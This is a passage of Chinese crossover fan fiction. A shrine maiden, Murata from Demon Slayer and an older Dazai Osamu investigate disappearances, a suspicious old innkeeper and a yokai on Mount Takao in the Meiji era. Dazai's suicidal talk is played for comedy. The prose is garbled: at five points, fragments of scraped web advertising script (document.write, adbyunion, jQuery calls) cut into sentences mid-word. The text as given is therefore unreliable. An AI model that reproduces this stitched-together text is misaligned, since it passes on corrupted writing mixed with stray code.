“你是……太宰治？”月见千里也有些惊讶，说是之前那个被夜斗带去神社的少年又不怎么像，不仅年龄比之前见面的时候大了不少，而且……感觉……有些不一样了。 总感觉这个青年比当时的太宰要更加的绝望，更加的阴暗淡漠。 月见千里在看到他脖子上的红围巾的时候愣了一下，明明比一身黑色西装的时候多了一点亮色，却更让她有一种不祥的预感，总觉得那样的颜色……像是凝结的鲜血一般。 或许这就是时间的作用吧…… 月见千里垂下眸子……毕竟时间的确能改变许多东西，眼前的青年的变化倒也不算太大……起码她还能认出来。 “是我哦，”太宰治眨了眨眼，装成无害的模样，无论他的性格有多么糟糕，但他只要刻意的伪装起来，依然像是某种温和无害的小动物。 他的表情有些夸张地按住自己的心脏：“巫女小姐竟然还记得我！” “我们已经有好几年没见了呢。” “好几年？”月见千里愣了愣，这才意识到这是未来的太宰治，虽然在她的眼中只过了几个月而已，但是对未来的太宰治而言他们的见面已经过去许多年了。 不过……这不重要……无论是未来的太宰治还是过去的太宰治，月见千里都不关心，她关心的只有一点，那就是：“你怎么会在这里？” 毕竟怎么想，对方都应该与这个世界毫无联系才是……总不该与她当时的那个御守有关吧…… “诶？巫女小姐见到我只有这样的反应吗？”太宰治有些失望。 月见千里：…… 对于这样的问话，她甚至懒得回答…… “好吧，”太宰治很遗憾，虽然不知道他在遗憾些什么，不过，只要能回答月见千里的问题，月见千里就可以将之忽略不计。 “我也不知道，我本来找到一棵梦中情树正在自杀的，结果眼睛一闭一睁就到了这里 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。” “这难道就是上天的启示，让我们能够再次相遇的吗？”太宰治视线牢牢地盯着月见千里，眼神灼热，像是要将月见千里盯出一个洞来。 月见千里：…… 她按了按额头，忽视了对方后一句插科打诨的话语，心情很是糟糕。 难不成真是因为那个御守？可是…… 月见千里还来不及细想，太宰治便打断了她的思绪：“既然是上天的启示，不如我们一起去殉……” “情”字还没说出口，这一次轮到太宰治的话语被打断了。 “我知道你们久别重逢非常开心，可是……你们难道把我忘了吗？” 第三个人的声音幽幽响起，原本被“鬼”吓得到处逃窜的村田杵在两个人的中间，神色很是哀怨：“二十圈！我足足跑了二十圈呐！差点以为我今天得筋疲力尽交代在这里了，结果一转头你们已经开始聊上了。” “月见小姐，您……”在将视线转到月见千里身上时，村田顿了一下，巫女小姐是自己的救人恩人，不能抱怨……所以…… “这位先生，您觉得装鬼吓人很有意思吗？请问您考虑过被吓之人的心情吗？而且您是怎么能对被您吓到的人视而不见，还能若无其事地聊天的？”村田选择对尚不熟悉的太宰治一通输出，说话都不带喘气的。 “抱歉，”太宰治低垂着头，看不清他的表情，但是语气听起来有些委屈哽咽：“我没准备装鬼吓人，只是想和你打个招呼问问路而已，没想到你竟然在大白天也会觉得撞鬼。” “在你受到惊吓之后，我本来是想向你解释的，但是你一直捂着耳朵，而且跑得更快了。” 村田：…… 月见千里：…… 她神色微妙地看了村田一眼，按照这少年的胆量，他真的能通过鬼杀队的测试吗？ 村田：干嘛？都看着他干嘛？ “我只是一时没反应过来而已。”他弱弱地说到。 “对，就是这样！”在找到借口之后，他肯定地点了点头，自我安慰道：“谁想到荒芜人烟的森林里面也会有活人呢。” “咳咳咳……”村田掩饰性地轻咳了几声，一本正经地说道：“既然误会已经解开了，我们还是快走吧，得在天色暗下来之前下山。” 话落，他就一马当先跑到前面去了。 当下又便只剩了月见千里和太宰治两个人。 月见千里：…… 她走到太宰治面前：“需要我拉你一把吗？” 太宰治愣了一下，他这才意识到自己还坐在地上，在注视着那双向自己伸过来的手的时候，他微微犹疑，但在犹疑之后还是将手送到月见千里手中。 在触摸到那一抹温热的时候，他的手忍不住颤抖了一下，随后，他感到一股强有力的力量将他整个人拉了起来。 “走吧，”在将太宰治拉起来后，月见千里放开握着的手，并示意他跟上来：“虽然不知道你为何会来到这个世界，但若是想要离开，还是跟着我们比较好。” 20.深山里的老婆婆 明治四十年，托新政府的福，月见千里也算赶上时髦坐了一回电车。 停稳，滑行，停稳，滑行……电车无限重复着这样的进程，每当到达站点时，总会有孩童嬉闹的声音，“快看，电车来了～” 接下来，人群一拥而上，伴随着清脆的铃铛声响起，电车再度开始了新一轮的重复。 “找到了，是这里。”村田左手拿着报纸，右手指着上面某处，脸上难掩激动的神色，“高尾山，我们下一站去高尾山。” 月见千里顺着村田指向的地方看去。 那里刊登的是一则消息。 【警惕，高尾山脚下出现不明带刀人士】 “在禁刀令下还带着刀的，一定是他们没错。”村田的语气很是笃定。 “那个……打扰一下，请问你们是打算去高尾山吗？”耳边传来男人迟疑的声音。 月见千里抬眼望去，说话的是一个三四十岁左右的中年男人，他的手中也拿着报纸，显然同样看到了那则消息。 男人拧着眉头，神色很是古怪。 “我跟你们说，那地方可不能去。”田中注意月见千里一行人很久了，少年，巫女小姐，还有……嗯……眼睛上绑着绷带的“残疾人”？ 眼下终于有了搭讪的机会，他只是迟疑了一会儿，便低声说道：“根据小道消息，那里不久前有不少人失踪，但是都被政府给压下来了。“ ”还有莫名其妙的带刀者在那里徘徊。” “我怀疑啊……说不定是幕府的残党，因为不满新政府的统治，在里面试刀杀人呢！” “要不然，为什么新政府对那些人的失踪只字不提，只是发报警告人们远离高尾山那块。” “……” “谢谢提醒，我知道了，”月见千里向田中微微颔首。 不过是基本的社交礼仪，但在田中眼中却是巫女小姐想要和自己搭话的意思了。 “其实我这里还有……”田中正准备继续说下去，他左边的衣摆被大力扯了一下。 “啧，干嘛——”他不耐烦地向着旁边看去，只见夹在巫女小姐和他之间的那个“残疾”青年正微笑着看着他。 田中心底打了一个寒颤。 明明对方是笑着的，他却莫名地感觉有些凉意，就像是行走在钢丝上一样。 他默默闭紧了嘴巴，保持安静。 看走眼了……眼前的这个青年，是绝对不能招惹的存在。 那个呱噪的男人不再说话了……月见千里狐疑地瞥了他一眼，对方似乎正在埋头看着报纸，只是……这姿势怎么看怎么奇怪。 谁家好人看报纸将头低得快要贴在报纸上了？ 月见千里顿了一下…… 大概他的近视眼已经到不贴着报纸看不清字的程度了吧……又或者……这是他的爱好…… 不过这不重要。 能不被打扰最好。 月见千里将视线转回来继续发呆。 …… 高尾山也是一片偏僻的山林。 尤其是因为报纸的警示使得这片山林更加的荒凉。 偶有几座房子稀稀落落的，散落在山脚下。 既然要调查鬼杀队的踪迹，自然得先问问这里的原住民，只是，接连拜访了几栋房屋，里面都空落落的，没有半个人的影子。 “这里的人不会都遭受到了鬼的攻击，被鬼吃掉了吧。”村田的脸色很是难看，若是将“人口失踪”，“鬼杀队队员出没”，“村子里没人”这几点联系起来，很容易就会得到这样的结论。 “这是最后一户了。”村田深呼吸了一口气，敲了敲最里面的那栋房屋。 只是过了许久，依旧没有任何人回应。 “他们都没了……”，村田的语气哽咽，他再也无法掩饰心底的哀伤，控制不住身体背靠着大门，瘫坐在地上。 而后，“吱呀”一声，身后的大门骤然被打开，村田失去了支撑就这么倒了下去，他惊恐地眨了眨眼，对上了一张皱巴巴的脸庞。 “鬼……鬼啊，”村田顿时尖叫起来，然后就受到对方的一拐杖。 “鬼？你才是鬼，一天天的尽吓我这个老婆子。” “咚——”的一声，村田头上多了一个大 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 包。 真别说，跟敲西瓜似的，还挺脆……月见千里撇过头去，不忍再看。 过了一会儿，村田从地上站了起来。 “老婆婆，您还活着？”村田抹了抹脸上激动的泪水，“真是太好了。” “我差点以为……” “以为？以为什么？我死了？”虽然年过半百，老婆婆依旧精神得很，叉着腰问道，看样子是完全不需要拐杖的帮助。 至于拐杖究竟有什么用？ 村田有话要讲。 “不，没什么。”村田求生欲很强，他的头摇得像是拨浪鼓一样。 “哼——”，老婆婆也没有追究，她随意地扫视了一圈：“投宿的？” 村田：“不是。我其实是想问……” “是的，”月见千里打断了村田的话，朝着老婆婆点了点头。 老婆婆：“来高尾山这边投宿？胆子可真大。” 她短促了笑了一声，继续说道：“你们的目的我也管不着，至于投宿费用，5円一个人。” 听到了这样的价格，村田忍不住瞪大了眼睛：“你怎么不去抢？！” 嗯……毕竟在这时候，一日元约等于1.67g的金币。 老婆婆捡起了扔在地上的拐杖敲了敲，浑然不在意地说道：“你就说住不住吧。” 村田：“……” 他回头看了月见千里一眼，只见巫女小姐坚决地朝他点了点头，村田：“……” “住……当然住……”他强忍住心里的痛楚，从衣服最里面的口袋里掏出了硬币，递钱的手颤抖得不像话：“要不，我们商量商量，能不能便宜一点。” 老婆婆没理他，扒开他的掌心……嗯……没扒动…… 只见村田满脸的不舍：“这是我的全部家当了。” 老婆婆：“住？不住？” 村田“嘤”地一声张开了手，眼泪止不住地往下流。 老婆婆不屑地转过身：“跟我来。” “看上去年纪轻轻地小伙子，也就那点出息……” 破财且被明面上嫌弃的村田：“……” 21.好奇心害死猫 凌晨时分，村田是被一阵“咯吱咯吱”的声音吵醒的。 像是老鼠在磨牙的声响…… 村田睁着一对死鱼眼，满脸写着生无可恋。 5円……那可是5円的房费，为什么他付出了天价的费用，结果还得忍受老鼠的摧残。 越想越气的村田是再也睡不着了，他从床上坐了起来，打算去外面吹吹冷风，来映衬他此时凄凉的心境。 村田推开房门，然后就被铺面而来的寒风糊了一脸。 村田：fine，我很fine…… 有什么比今天付出的天价房费更让人绝望的呢？ 没有！ 在今天天价房费的打击下，村田感觉连凛冽的寒风也温柔了不少。 村田深呼吸了一口气，走出了房间，准备在外面散散步，他刚走到拐角的角落里，视线的余光便瞥见了白天那位坑他的老婆婆正提着一盏微弱的煤油灯，独自一人向着山上走去。 奇怪，这么晚了，老婆婆提着灯要去哪里？ 村田不由得心生疑惑。 在白天的时候，老婆婆说过这里的房子之所以除了她没有任何人居住，就是因为她将这里的房子全都买下来了，要将这里打造成民宿一条龙。 那时候的村田虽然有些疑惑，但并没有多想，毕竟……能将房费定为5円一宿的……那绝对是个奸商没跑了。 但现在看来，这位老婆婆的行为，的确有些可疑。 村田犹豫了1秒钟，考虑了一下是否要打搅巫女小姐，却最终还是决定自己先前去探探路，看看老婆婆到底要做些什么。 于是，他蹑手蹑脚地跟着老婆婆身后暗中观察。 兴许是因为山上寒气比较重的原因，村田感觉今日的夜晚的确有些冷，比前几日要冷得许多。 他忍不住搓了搓自己的手臂，只觉得那丝丝缕缕的寒意几乎无孔不入，正肆意入侵着他的四肢百骸，企图卷走他身上的每一点热气。 他甚至开始瑟瑟发抖起来…… 村田有些后悔自己出门的时候没有披上一件衣服了。 在这样寒冷的山中，他只穿着一件白色的单衣在其中行走，怎么看怎么像傻叉。 而更让他无语的是…… 不过几秒钟的功夫…… 他竟然将一位年近古稀的老婆婆跟丢了…… 请问这合理吗？ 村田觉得很不合理，就算这位老婆婆的确精神矍铄，身体康健，但这并不是他跑不过一个老婆婆的理由…… 村田很是怀疑人生。 他继续顺着山路向上行走，势必一定要找到老婆婆的踪迹。 可是，越往上走，村田便越感受到一些被窥探的视线。 就像是有什么东西在紧紧盯着他一样。 尽管天气依旧寒凉，他的手上却渗出了一点薄汗。 村田顺着某个靠他很近的目光看去。 那是一只漆黑的乌鸦，正站在离他不远处的树上静静地看着他，一双红瞳似血，很是诡异。 ……嗯？不对！ 乌鸦的眼睛会是红色的吗？ 村田被自己脑海中想到的东西吓了一跳，他下意识地想要向山下逃窜，却发现不知何时，他的身后已经弥漫起了一片浓重的雾，在黑夜中也是白茫茫的，完全遮蔽了他的视线。 村田：…… 他此时的内心慌得要命，却还是努力地观察着四周。 远处不知何时出现了一缕红色的火焰，在空中忽高忽低地飞行着，像是在给村田指引道路。 村田当然不想跟着那缕火焰走，明眼人都知道那火焰有问题，但眼下什么都看不见的他显然已经没有了选择的权利。 他只能跟着火焰走…… 然而，村田已经跟着火焰走了约莫一个小时，那火焰依旧没有停下的意思。 村田：……有完没完！ 气力不足的他选择了原地摆烂，就这么坐在地上休息了起来。 火焰：？？？ 别问村田是怎么从一团火焰之中看到“？”的，问就是他的内心戏很足，自己蒙的…… 那团火焰见村田不走，停顿了几秒，随后向着村田飞了过来，在距离村田半米的地方上下跳动着，似乎是在催促。 然而，选择了摆烂的村田对此视而不见，他继续一动不动地坐着。 火焰：？？？ 就在火焰停顿的那个瞬间，村田猛地向着火焰的方位扑了过去，吓得火焰一个颤抖，中间的一缕火苗窜的半米高，甚至连躲避的时候都出现了残影。 不过还好，躲开了…… 火焰在空 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 气中颤了颤，然后飞快地开溜，选择了离开这个是非之地。 村田：嘿嘿！ 他追着火焰的方向跑去，在某个时刻，猎人与猎物的位置来了个完美的对调。 大抵是因为受到了惊吓的原因，这次的火焰倒是没有随意乱跑，不一会儿就带着村田来到了一间房子停了下来。 在村田迈进房屋的那一刻…… 弥漫在眼前的白雾似乎散开了。 若有若无的血腥气在里面飘荡。 一双绯红色的眸子在黑暗中紧紧地盯着他。 ……犹如潜藏在黑暗中的怪物。 村田心中升腾起一股不好的预感，而这股预感要比他之前感受到的要强上千百倍。 他感受到了弥漫在房间里的杀伐之气。 空气中似乎有什么东西缓缓飘荡了下来。 轻盈的，柔软的…… 村田下意识地用手接过。 手中的东西像是一张轻盈的绢布。 村田心中微怔，他正打算说些什么，耳边却传来像是孩童的嬉笑之声，在这个暗无天日的房间里，格外的诡异。 “小哥哥，你是来和我玩的吗？” 那声音兴奋而期待，却让村田手臂上的毛孔战栗，出现了一身的鸡皮疙瘩。 村田掉头就跑。 然而…… 在他掉头的那个瞬间，他被什么东西按住了手脚，他惊恐地向着那个怪物看去，恰在此时，天上的月光照进了房间里…… 他看到了一张怒目圆睁的，绝对不似人类的脸。 村田内心大骇，可他的手臂却被不似人类的爪子桎梏了，无论如何也无法挣脱。 那爪子很是锋利，将他的皮肤磨的生疼。 村田毫不怀疑若是自己在这样挣扎下去，那锋利的爪子便会划破自己的某些部位。 ……比如说心脏什么的。 村田心下顿生绝望。 见到他刚刚想要逃跑的行为，耳边的少年音也逐渐变得尖锐刺耳，语气中还带着丝缕不绝的绝望与厌弃。 弥漫在空气中的血腥味越发浓重了。 空气中闪过锋利的寒芒，冰冷如铁，刺得村田眼睛生疼。 “大哥哥也要抛弃我吗？” “我果然是不该存在的……” 22.来自村田的质问 村田是在第二天黄昏的时候回到老婆婆家的。 少年气喘吁吁地跑进了庭院，看他的样子大概是一路狂奔着回来的，连话说得都不怎么利索。 “妖怪……有妖怪……” 太宰治挂在走廊里的房檐上，笑眯眯地向着村田打招呼：“呀，是村田回来了啊，我们还以为你失踪了，正准备去山里找你呢。” “是吗？”约莫是这些天的相处让他知晓了太宰治其人的秉性，村田并没有十分感动，反而睁着一双死鱼眼：“所以你现在是在干什么？” 太宰治：“嗯，我觉得你可能在黄泉比良坂，但巫女小姐却不这么认为……” “所以我打算亲自去黄泉比良坂看看那里有没有你的身影。” 村田：“……” 希望你能有去无回！ 他有重要的事情想要告诉月见千里，所以并不打算和太宰治探讨这个没有任何意义的问题。 “月见小姐呢？” “在屋里，”太宰治指了指旁边的房间，“巫女小姐她知道你失踪的事情急坏了，刚刚在山脚上找了一圈，现在正准备上山找你去呢。” “真……真的吗？”村田泪眼汪汪，他就知道月见小姐是有良心的，和某个一天到晚只想着自杀的混蛋不一样。 村田想都没想地“唰”地一下推开屋门：“月见小姐，我回来了。” 月见千里正端坐在和室里面泡茶，白皙细嫩的手轻轻提着茶壶，动作如同行云流水一般赏心悦目。 被村田突如其来的推门声打扰，月见千里微微蹙眉看向门外，“太失礼了，村田。” “对……对不起……打扰了……”，村田没来得及看清屋子里的情况，便立刻鞠躬，道歉，关门，一系列行为相当流畅自然，一气呵成。 直到关上门，村田才松了一口气，他回想了一下刚刚映入眼帘的画面，不免有些怀疑地再次推开了门：“月见小姐？” 月见千里正将泡好的茶端放在花子婆婆面前，她一边用手示意老婆婆喝茶，一边看向村田：“有什么问题吗？” “不……没有……”，村田摇了摇头，退了几步，看了看屋子里面岁月静好的场面，又看了看此时正挂在屋外吊着装死，一声不吭的太宰治，一脸怀疑人生的表情。 去tm的同伴情，他竟然会相信太宰治的鬼话！ 月见千里：“没事就把门关上。” 村田：“好的。” 他晕乎乎地关上房门，正准备离去，然后在转身的时候又猛然想起了什么，再度一把推开房门，大声喊道：“等一下，不能喝！” 其声音之大，让月见千里右手抖了一下，差点拿不住手中的茶杯。 什么毛病这是？ 连续被打扰三次，饶是脾气再好的人脸上也该带着恼意。 这是队友，她自己选的。 月见千里心中不断地说服自己，就算是这样，她的语气中也不免带着些不耐烦：“村田，你到底要干什么？” 村田：“……” 他的声音弱了下来：“不是，我就是想问一下，这是哪里来的茶叶？” “当然是花子婆婆家里珍藏的，”月见千里有些无语，“难不成还是天上掉下来的。” “那就没错了。”村田双手叉腰，心中有了底气：“这茶不能喝，花子婆婆有问题。” 月见千里：？？？ 当着当事人面说对方有问题的……月见千里这还是第一次见…… 被村田忽视且指控的当事人花子婆婆气定神闲地抿了一口手中的茶水，随后抬起头不屑地看了村田一眼，并没有说话，却好像满脸都是嘲讽…… “茶水看起来并没有问题哦，村田君。”幸灾乐祸的声音自村田耳边响起，太宰治不知道到底是什么时候从房梁上下来的，在村田的旁边晃荡。 村田：…… 他不认识这样的猪队友！ “就……就算茶水没有问题，你也一定有问题，”村田指着花子婆婆，语气笃定地说道：“你和山上的妖怪是一伙的。” “妖怪？”花子婆婆抬了抬眼皮，连一个眼神都懒得给村田：“胡说八道什么呢？哪里有妖怪？” “莫不是看我一个孤寡老人一个人在家，想要往我身上泼脏水不成？” 老婆婆话语一出，气场全开，让气氛瞬间僵硬了下来。 “我想您误会了，花子婆婆。”月见千里连忙解释。 “可是我都看见了……”村田正打算说些什么，却被太宰治拉住了手，他偏过头去，见太宰治朝他轻轻摇了摇头，于是他便不再多说了。 只是气氛依旧凝滞。 见此情形，花子婆婆冷哼了一声：“误会？没什么误会的。要不是我看你们一行人没有地方住，好心收留你们，你们怕是要在深山中被豺狼虎豹一口气吃了。” “罢了，谁让我心善呢。”花子婆婆站起身来： (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “既然天色已晚，我就再收留你们一晚上，明天都给我离开这里。” “还有，晚上最好不要出门，省得到时候在山里迷路了，还把失踪的事情赖在我的身上。” 语毕，花子婆婆便拄着拐杖离开了房间。 面对她离去的背影，余下的众人神色各异。 “花子婆婆一定有问题。”村田重复道，“我昨天晚上亲眼看见她提着灯出门，连拐杖都没有带，步伐却比我还有稳健快捷，而且没有跟多久，我就把她跟丢了。” “我还看到了妖怪……”村田将自己昨晚的经历说了出来。 “妖怪啊～”，听完村田的叙述，太宰治似有感慨。 他拖着尾调说道：“这好像是巫女小姐应该管辖的范畴呢～” 月见千里：“我想你搞错了，关于妖怪还是要找除妖师或者阴阳师，巫女只负责侍奉神明。” “行吧～，”太宰治摊了摊手，一派听之任之的样子：“巫女小姐也管不了，所以村田你还是等死吧。” “说不定……”太宰治顿了顿，随后压低声音恐吓道:“那只妖怪已经缠上你了哦。” 村田：“……” “对了，你到底是怎么从那只妖怪手下逃脱的？”太宰治对此很感兴趣，毕竟讲到这部分，村田就支支吾吾，语焉不详了。 村田：“……” “我不想说不行吗？”村田的语气明显有些恼怒，看起来那并不是什么好的经历。 太宰治（微笑jpg）：“好吧，我不问了。” “那接下来应该怎么办呢？总不能真的连夜离开这里吧。” “按照村田你所说的，现在离开岂不是死路一条？” 村田:“……” “看来我们还得在这里再呆上一晚上，”见村田没有说话，太宰治下了决定:“不过……” “村田还是要小心一点哦，说不定今天晚上妖怪还会来找你！” 村田:“……” 不知为何，他现在就觉得背后阴森森的，就像妖怪已经过来了一样。 村田惊恐地回头，只见太宰治站在他背后吹着凉气。 村田（冷漠脸jpg.）:“你在干嘛？” 太宰治:“哦呀，被发现了呢。” 他脸上一点没有被抓包的尴尬:“这不是想让你适应一下被妖怪缠着的感觉嘛。” 村田:“……” 我真的会栓Q！ 23.你还算是人吗？ 在太宰治坚持不懈，持之以恒的恐吓（划掉）提醒之下，村田又双叒叕地失眠了。 虽然现在的他正躺在床上，上下眼皮不断打架，但是……他的大脑却依旧格外地清醒。 嗯……是一有风吹草动就能立马睁眼起身的那种。 漆黑的夜晚中传来几声猫叫。 村田立刻瞪大了眸子。 “什么呀，不过只是猫而已！”在听到是猫叫之后他放下心来，试图说服自己不要瞎想，一切都是浮云。 想着想着，他的眼皮又沉了下来。 而后，又是几声猫叫。 时间卡得刚刚好，恰好在他即将入睡的时候。 村田：…… 他利落地翻了一个身，用被子蒙住头部，想要以此来减弱听到的声响。 至于这次的他为什么没出去看看情况…… ……他不敢！ 昨夜的教训已经足够深刻，他一点也不想再见到什么奇怪的场面。 大概是见村田一直不打算理会它，那只猫的胆子愈发大了起来，叫个不停，声音也逐渐变大了。 村田：……没完了是吧！ 在这样下去，他迟早得神经衰弱！ 村田继续在床上翻来翻去，用手掌堵住耳朵。 今天就算是真的有野猫跑进来，就算是猫和老鼠展开世纪大战，就算是天塌下来，他都不会出去了。 村田的flag刚刚立下。 “喵呜～”，一声凄厉的猫叫声瞬间从屋外传了进来，其声音之凄厉愤慨，像是杜鹃啼血，让听者忍不住仓皇动容。 村田：…… 不会吧？猫和老鼠真的展开世纪大战了？还是老鼠赢了？ 村田的脑海中浮现了这样的画面： 一只有着哥斯拉大小的变异老鼠在外面走动着，一步一个脚印，能踩死一群人的那种。 在其他动物甚至人类都唯恐避之不及的情况下，一只勇敢的猫儿站了出来，雄赳赳气昂昂地迈出了自己步伐，于大厦将倾之际扛起了自己的职责。 它今天就要捕捉这只硕鼠，为它们猫族辉煌的履历上再添上一笔。 于是，气氛焦灼的夜晚，大战一触即发！ 然而两方的力量差距实在是过于庞大，即使猫儿凭借灵巧的身躯成功躲避了老鼠的进攻，它也始终无法亮起自己的利爪近身袭击。 终于，在双方对峙了一段时间之后，猫儿一个不注意被老鼠抓住了。 “咔嚓～”一声，老鼠咬掉了猫的脖子。 猫瞬间发生了一声凄厉的哀嚎：像是求救，又像是警醒，今天就算是它一只猫倒下去了，也会有千千万万只猫站起来，继续完成它未完成的捕鼠大业！ 在硕鼠没有注意的角落里，有一团野火在熊熊燃烧着。 这生生不息的火焰啊！ 迟早有一天，这微弱的火苗会一点点的积累起来，汇聚起来，终成燎原之势，在硕鼠的身躯上燃烧。 不是……这越想越红是怎么回事？ 村田内心的斗志被突如起来的红色所占据，他再也压抑不住内心的热血沸腾，坐了起来。 勇气使他无所畏惧！ 村田站起身，准备去外面看看那只猫的情况。 若是条件允许的话，他会努力去救那只可怜的猫的！ 然而…… 在看到屋内斑驳的倒影的时候，村田内心刚刚燃起的火苗又立刻被浇灭了。 皎白的月光透过玻璃窗照进了屋子里面，将整个屋子照得若明若暗。 他看到了…… 他卧房的推拉门外…… 此时正漂浮着一个人影。 不！那绝不是人！人是不可能脚不沾地漂在门外的。 不像昨日里的鸟嘴妖怪，也不像是他曾见过的吃人的恶鬼。 倒更像是冤魂前来索命，还是被吊死的冤魂！ 村田内心大喊冤枉！他可不记得自己什么时候得罪过吊死鬼！ 合着……就逮着他一个人薅是吧！ 就算是钢铁之躯也遭受不住啊！ 村田心中苦涩且悲凉！ 等等……吊死鬼…… 啊，这…… 吊死鬼村田的确不认识，但是热衷于在房梁上吊的，他倒是……认识一位…… 村田无语地推开房门，在看到门外那个熟悉的身影之后…… 村田陷入沉默…… 村田想要打人……不，杀人…… 村田在考虑杀人埋尸，毁尸灭迹的最佳场所…… “村田～”，太宰治依旧对现在的气氛无知无觉，开心地向着村田打招呼：“我在外面喊你好久了，怎么现在才开门？” 村田：“是吗？我怎么不知道。” 他握紧了拳头，强压住内心的愤怒，咬牙切齿道：“你是什么时候喊我的？” 太宰治歪了歪头：“咦～你没听到吗？” “就是刚刚的猫叫啦，真是的，我以为凭借我们的默契，村田一定会认出我的声音才对。”太宰治软绵绵地抱怨道。 “什么？”村田大惊失色：“刚刚的猫叫声是你发出的。” “是啊，”太宰治像是想起了什么，笑眯眯地向着村田展示自己手臂上的擦伤：“学得很像吧。” “其实我本来是在房顶上叫的，但是因为学得太认真了，一不小心从房顶上掉了下来。” 村田：“所以那声凄厉的猫叫……？” “哦呀，”太宰治思考了十几秒，“大概就是那时候发出的吧。” 村田：…… 毁灭吧！这个世界！ 村田万万没想到自己刚刚脑补的猫鼠大战，那个让他热血沸腾，勇气倍增，充满希望的故事……竟是由眼前这个自杀厌世的绷带狂魔自导自演的…… 村田感觉自己内心碎成一片一片的，用多少胶水都补不回来的那种。 “哦，”村田眼中的光彻底熄灭了，一副听之任之的样子，像是失去了所有的情绪，所谓哀莫大于心死，即谓如此。 刚刚的他还想着杀人埋尸，现在的他是对任何事情都提不起兴趣了。 “你找我什么事？”村田的语气中彻彻底底不带任何情绪，麻木地问道。 “村田？”太宰治略显忧伤地捂住自己的胸口，开始了他的表演：“你突然变得好冷漠。” 村田：“若是没事我回去睡觉了。” 说着，他门也不关，转身向着屋内走去。 太宰治：“……” 他正了正神色说到:“其实，我是为了花子婆婆的事情来的。” “我觉得你的判断没有错，花子婆婆一定有问题，不然……”他的神色有些晦暗，“一个孤寡老人到底是如何在荒无人烟的森林里面生存的？她的生活用具从何而来？” “随便了”，村田没有回头，“无所谓了……” “若是妖怪真的来了……就让它杀死我好了……” 太宰治：…… 失策了！ 他没想到刚刚的事情对村田的影响竟然这么大！ 他眯了眯眼睛，复又说道：“即使……花子婆婆，或者说妖怪……与你在找的鬼和鬼杀队有关联。” 村田的手指颤了颤，却没有回答。 “要是鬼杀队的队员真的在这里出现过，想来他们也不会对这里失踪的人置之不理。” “在调查的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 过程中，他们必定会对山脚下的人口进行排查，但是……花子婆婆却从未说过她见到过那样的人。” “花子婆婆在说谎！” “也许，他们就和你昨日的经历一样，被花子婆婆和那只妖怪掳走了说不定。” 村田：“这似乎都不过是你的猜测。” “可这是最有可能的情况不是吗？”太宰治循循善诱：“反正现在也没有其他线索了，不如就此调查一下。” “若是真的，自然可以找寻到鬼杀队的踪迹，若不是……也没有什么办法。” “而且……”太宰治轻声地笑了出来，眼神里划过一丝幽暗的光：“你真的甘心吗？面对可能是近在咫尺的线索，却这样无缘无故地放弃。” 昏暗的房间里，村田身子骨无缘无故地颤了一下，他看了一眼站在门外的太宰治，明明对方只是一个人类而已，他却觉得他面对的是能掌握人心的魔鬼，将他的内心看得一清二楚，谈笑间变能将他引入深渊。 人类向来恐惧能洞察自己内心的存在，更何况……他对这样的存在一无所知。 “你真可怕。”村田感慨道，他下意识地想要远离太宰治，大概是出于对于危险的自我保护吧。 “什么？”太宰治愣了一下，随后开始装傻。 “你知道我说的是什么。”村田目光灼灼地看着太宰治，他的脑子的确没有那么聪明，但也不代表他真的就是个傻子。 “你简直太可怕了，就像能轻易地将人类玩弄于鼓掌之上一样。” “所以我不懂……”村田直白地将心里的问题问出了口：“接近我，或者说月见小姐……还有非要调查这件事的理由……到底是什么？” “我并不认为我寻找鬼杀队的事情会引起你的兴趣。” 太宰治摊了摊手，“我只是想看看传说中的妖怪，到底能不能送我前往黄泉比良坂而已。” “……” 村田没有说话，或者说……没有让步。他知道太宰治并没有说实话，也知道他无法放弃可能的线索。 但是……在某些方面，村田也有自己的坚持。 若是因为他的缘故，将其他的什么人，比如说月见小姐……卷入事件中心的话…… 他是绝对无法答应的。 村田已经在思考要不要与月见千里分道扬镳，然后独自调查这件事了。 “好吧，”见村田迟迟没有回应，太宰治举起双手，像是准备投降了，可是，他说出来的话却是：“我也不知道为什么。” 他垂下了眸子：“人一定需要因为一种理由，才能做一件事吗？” 村田哑然…… 当然了…… 若是连做事情都没有理由的话…… 那人还算是人吗？ 绝对理性的存在，没有任何偏向的…… 可以是天空，可以是大地，可以是山河湖海，春夏秋冬，可以是清晨降下的露珠，正午照耀着的太阳，黄昏漂在天空的云霞，甚至于可以是昨天，今天，明天…… 但那绝对不能算是人！ 村田张了张口，他想要说出反驳的话语，然而……他却什么也说不出来…… 他听见自己哑着嗓子问道：“你还算是人类吧？” “诶？”太宰治眨了眨眼睛：“应该算吧，不过也许很快就不算了，等去了黄泉比良坂之后。” 村田：“……” “那就好，”村田按了按额头，只觉得他的脑容量快要不够用了。 知道太宰治是个人类之后…… 之后…… 有什么用呢？ 村田有些恍惚：什么用也没有！ 他……好像又被带偏了…… 24.真实与假象 村田趴在庭院里的灌木丛之间，左右手各拿着一根枝条作为掩体。 “这样真的行吗？就我们两个人……” “对方可是传说中的妖怪诶……”村田不确定地问道，他也不知道自己哪里来的胆子，竟然敢答应太宰治去碰瓷妖怪。 “没关系的啦，村田，”太宰治坐在树上，难得好心地安慰道：“你不是逃出来了一次吗？既然在那妖怪的手中能逃第一次，也一定能逃第二次。” “不过，按照你的说法，你当时不是动弹不得的吗？到底是如何在妖怪的手下逃脱的？” 一提起这个，村田就有些心虚：“干……干嘛？” “没什么，就是想借鉴一下，或许今晚上能用到也说不定。” 村田：“……” “咳咳咳……”他偏过头去，企图叉开话题，“总之我有自己的办法啦。” “你放心，到时候真被妖怪抓住了，我一定会救你的。”村田信誓旦旦地说道。 “诶～。那就提前谢谢你啦，村田，”太宰治弯起眸子笑道，鸢色的眸子在月光的照耀下温柔得紧，让村田也随之一怔。 “没关系，毕竟是因为我的事情。”村田偏过头不再看了，在心底暗暗骂自己不争气。 明明知道那是一个什么样的人，明明知道对方其实另有目的，但村田还是很容易就被他迷惑了。 